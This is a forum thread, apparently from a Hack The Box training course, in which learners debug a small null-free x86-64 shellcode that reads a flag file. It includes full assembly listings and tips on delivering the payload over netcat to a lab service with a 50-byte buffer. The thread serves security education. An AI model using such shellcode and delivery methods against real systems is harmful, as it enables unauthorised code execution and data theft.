INTRO TO ASSEMBLY LANGUAGE - skill assessment -TASK 2

Hi guys, I am trying to pass the second task in the skill assessment of assembly language. And hit a brick wall.

In the task, I need to take the already working assembly and make a shell code from it(like remove all nuls, vars, and direct address), and make it smaller than 50 bytes, cause attacked server has 50 bytes buffer.

  • I removed all nuls from this shellcode, chose the smallest register size, and fixed one line where was an error, cause it tried to put text longer than the max register size via this register on the stack. I have fixed that and separated the text into two chanks. And made two pushes.

  • Also I deleted the last syscall, as was said in the task hint.( Do we really care about a nice exit?!)

I made a 49 bytes - No NULL bytes hex code. and come to the place where i need to run it on the attacked machine.

I had no clue how to do it, so i opend connection with net cat, and typed it in the termilal
like: nc ip.ip.ip.ip port and just entered it in the opened console.
And here i got a brick wall as a “Failed to run shellcode!”. I tried other shellcodes i could find other internet, even 29 byte size, but other and other got this message.
A week of trying passed, and I am on the same place.

So my questions:

  • is it a valid way, to send shell code as a net cat message? i did it cause it was working in one of the previous tasks, but is it not a realistic scenario? I mean shell code is a payload that we put into attacked software, and could not be run by itself. So the case when I was able to execute shellcode remotely via nc console, means there is some service sitting on the target machine and executes all text he got as a shell code. I mean it is quite far away from a real penetration test situation. Or it is not, and net cat can run shellcodes remotely, and it is me, who is far away from the understanding of the real penetration testing :smile:

  • So if I do all of this in a correct way, how can I get more info on why I am getting this “Failed to run shellcode!”

  • If I do it wrong, what is the right way to run a shellcode on the attacked machine?

  • I run an NMAP, on this machine and there are many open ports such as ssh, apache, and SMTP, so in theory maybe this machine could be attacked, and I can get a reverse shell. But this means there is no need for the shellcode created by the HTB team and has nothing with the task assignment in how it is stated.

So, I will be super thankful for any hints or advice, cause I already run out of ideas.

Hello auxFix

In this case youre taking advantage of a failure in a program, it is not the netcat who executes the code into the destination machine, is the software running in that machine that has the error so you can send the payload with netcat and the application will crash and execute that payload.

You don’t have to attack or do something else to the machine, simply netcat to the port opened and send the payload, when you have it well crafted it will read the flag…

If you modify the payload correctly you will read the flag without problems, even if you craft another one you will get reverse shell, but is not the point of the exercise…

Hello, Ic32K!

Thank you for the fast response.
But to be honest, I really run out of ideas about what I did wrong.
I deleted all zeroes, there are no addresses or variables in the assembly code. It has a size of 49 kb.

And it works perfectly if I run it via python3 loader.py from the previous course lesson.
How can I debug it?

Also just out of curiosity, so HTB team wrote the script, which puts my payload into some vulnerable applications, which crash and run my payload? I mean will I use this technic, of sending shellcode to the attacked machine via net cat. Or it is just the most convenient way for the HTB team to test my shellcode?

And one more question, since I removed
These lines from the asm code

    ; exit
    mov rax, 60
    mov rdi, 0
    syscall

at least i think this is the reason when shellcode ends execution ends i got some other shell prompt opens(when I test via python3 loader.py locally). Could this be a reason for not running remotely shellcode?

But if this is the reason, why do we have the following hint: Do we really care about a nice exit?!

So yeah, unfortunately, these things are still unclear to me, even after more than a month of digging into assembly and shellcodes. But of course, I returned to it after a huge break after university study.

How do you get rid of the zeroes?

In this case the app running was already debugged thats why they thell you the size of the valid payload, you will understand better in the next module…

They told you about the nice exit to give you a easy way to reduce the payload some bytes (the shellcode I used I forgotted to delete the exit function)

If you want post your code so I can see what have you done, maybe I can see something (I’m not an expert, just finished that module few weeks ago)

Hi @Ic32K first of all, thank u so much for your great help and involvement, I really appreciate it.
No, to the topic.

I reduced size by

  • Using the smallest possible registers,

  • replacing push 0, with xor reg reg; push reg

  • and removing last exit part;

And yeah it could be so nice if you could look at my broken asm code.
Here it is:

global _start

section .text
_start:
    ; push './flg.txt\x00'
    xor sil,sil
    push si
    mov dil, 't'
    push di               ; push NULL string terminator
    mov rdi, '/flag.tx' 
    push rdi

    
    ; open('rsp', 'O_RDONLY')
    mov al, 2          ; open syscall number
    mov rdi, rsp        ; move pointer to filename
    syscall

    ; read file
    lea rsi, [rdi]      ; pointer to opened file
    mov rdi, rax        ; set fd to rax from open syscall
    xor al, al          ; read syscall number
    mov dl, 24         ; size to read
    syscall

    ; write output
    mov al, 1          ; write syscall
    mov dil, 1          ; set fd to stdout
    mov dl, 24         ; size to read
    syscall

and here is the original from the task so u can easily compare:

global _start

section .text
_start:
    ; push './flg.txt\x00'
    push 0              ; push NULL string terminator
    mov rdi, '/flg.txt' ; rest of file name
    push rdi            ; push to stack 
    
    ; open('rsp', 'O_RDONLY')
    mov rax, 2          ; open syscall number
    mov rdi, rsp        ; move pointer to filename
    mov rsi, 0          ; set O_RDONLY flag
    syscall

    ; read file
    lea rsi, [rdi]      ; pointer to opened file
    mov rdi, rax        ; set fd to rax from open syscall
    mov rax, 0          ; read syscall number
    mov rdx, 24         ; size to read
    syscall

    ; write output
    mov rax, 1          ; write syscall
    mov rdi, 1          ; set fd to stdout
    mov rdx, 24         ; size to read
    syscall

    ; exit
    mov rax, 60
    mov rdi, 0
    syscall

And once again, thank u so much for your involvement!!!

@Ic32K please forgive me! I am just stupid. For some reason, I made a mistake in the flag name, in the really beginning of my assignment flag.txt instead flg.txt. Idk how I could come to it=))))
Just a stupid typo)))

But, @Ic32K thank you so much for helping me out!!! I really really appreciate it.

For people who may be stuck with that task, my solution finally was really straightforward.

  • use smaller registers where i could

  • remove exit code

That’s it. I am just stupid=)))

1 Like

You are welcome!

I see some mistakes that make the exercise fail:
You modified the filename and you don’t have to do that, in this case the file in the server is in fact named flg.txt it’s not a typographic mistake ;-D

In the ‘open’ function I noticed you deleted the line ’ mov rsi, 0 ’ maybe if you have a 0 stored in another register you simply can use ‘mov rsi, register_with_value_0’

1 Like

Great!!!

Let’s see how the shellcode module is going, now i’m starting the windows one so maybe can help us each other if we have some doubts

1 Like

Thank u again!!! :slightly_smiling_face:

Just finished the assignment and saw this post.
I think the comment push './flg.txt\x00' is wrong. It actually reads the /flg.txt in the root folder, not the current one.

Hi Ic32k - I’m hoping you will see this post - I am having similar problems but nothing to do with assembly code structure - I just cannot work out the correct syntax to do what you say : “simply netcat to the port opened and send the payload” so after nc <I.P> port what should I write?

I mean the payload is the hex shellcode yes? But I need loader.py to run it ?
Basically what I am trying to find is the code to run any shellcode payload using nc?

apologies for basic question - any help much appreciated

Hello @danny2kan,

That was a sentence I wrote years ago, but the basis remain :stuck_out_tongue_winking_eye: I must have to re-visit this module to remember exactly how It was…

With that sentence I mean there is a server with opened port listening for connections so you can simply do it as “nc ip port < payload”.

If you send the payload and don’t get the flag as response from the server, then there is something wrong with payload itself, maybe there is a 00 in the string breaking the execution (that’s why yo need to use lowest posible registers, to get rid of undesired zeroes) :stuck_out_tongue_winking_eye:

If you want can post tour assembly to check it…

Hi! Thanks for replying - in fact I’m not even onto the skills assessment yet I’m struggling with the page before!

So I’m not even worrying about all the register details yet I’m just trying to send a payload to print out contents of /bin/cat/flag.txt

I appreciate it has been a long time so thank you as this is sending me nuts!

so I use msfvenom to get shellcode…but then what is the actual payload as all options I try do not work!

i.e nc port < ‘7374874838eufjhed…’

or nc port < python3 loader.py ‘7374874838eufjhed…’

neither seem to work - I have just made a shellcode to print hello and it works just using python3 loader.py ‘7374874838eufjhed…’

I know the answer must be so obvious…

ok apologies - I have it - basic error, thanks for help though!

Hi. Can someone help me with this task? I have tried to optimise the code but it keep showing “Failed to run shellcode!” error. Below is my optimised code. It has 49 bytes and no null bytes. I just couldn’t figure out where I went wrong.

global _start

section .text
_start:
    ; push './flg.txt\x00'
    xor sil, sil
    push si              ; push NULL string terminator
    mov dil, 't'
    push di
    mov rdi, './flg.tx' ; rest of file name
    push rdi            ; push to stack 
    
    ; open('rsp', 'O_RDONLY')
    mov al, 2          ; open syscall number
    mov rdi, rsp        ; move pointer to filename
    syscall

    ; read file
    lea rsi, [rdi]      ; pointer to opened file
    mov rdi, rax        ; set fd to rax from open syscall
    xor al, al          ; read syscall number
    mov dl, 24         ; size to read
    syscall

    ; write output
    mov al, 1          ; write syscall
    mov dil, 1          ; set fd to stdout
    mov dl, 24         ; size to read
    syscall

Why are you moving the “t” to ‘dil’? The file is a .txt file not an executable. Get rid of that and just set the filename to ‘/flg.txt’ in the rdi. That should fix your issue.

Hi. I mov ‘t’ to dil is because of the comment in the original shellcode that states ; push ‘./flg.txt\x00’

I tried following your advice and delete the mov statement and set the flagname to ‘flg.txt’ but it still showed me “Failed to run shellcode!” error too :frowning:

global _start

section .text
_start:
    ; push './flg.txt\x00'
    xor sil, sil
    push si              ; push NULL string terminator
    mov rdi, '/flg.txt' ; rest of file name
    push rdi            ; push to stack 
    
    ; open('rsp', 'O_RDONLY')
    mov al, 2          ; open syscall number
    mov rdi, rsp        ; move pointer to filename
    syscall

    ; read file
    lea rsi, [rdi]      ; pointer to opened file
    mov rdi, rax        ; set fd to rax from open syscall
    xor al, al          ; read syscall number
    mov dl, 24         ; size to read
    syscall

    ; write output
    mov al, 1          ; write syscall
    mov dil, 1          ; set fd to stdout
    mov dl, 24         ; size to read
    syscall

I’m thinking is it the way i send the payload to the server that is wrong. I used the command nc {ip addr} {port} < {payload}

Appreciate your help. Thanks! :smiley:

1 Like

This is not my strongest area. I just want to point out that the original comment is a bit misleading. You have to pay attention to how syscalls work. The null byte at the end of a syscall will terminate the syscalls args. Another important note on that is you are setting registers to zero or NULL when they are XOR against themselves. For example xor sil, sil would result in zero or the null byte needed to terminate the syscall args. You are also missing a line in comparison to mine in the quote. rsi is set to zero for the read only.

As far as sending the payload goes, I don’t use that method. It may work. However, I mostly use bash and avoid the ‘>’ character if I am not writing something to a file. Try just using the nc {ip addr} {port} Then when the connection happens just paste in the hex value for the payload.

The first task got me really good with a typo where I had been pushing all those values to rax including the key that was suppose to go to rbx. It happens. You are close.

I managed to make it work!

Actually, all along my shellcode is working. It’s the way I send the shellcode to the server is wrong. Instead of creating an executable and send it via ‘>’, I should just paste the hex value of the payload like what you have suggested.

Thanks so much for your help! :smile:

I’m stuck on the same issue. What was your ‘basic error?’ Thanks in advance :slight_smile: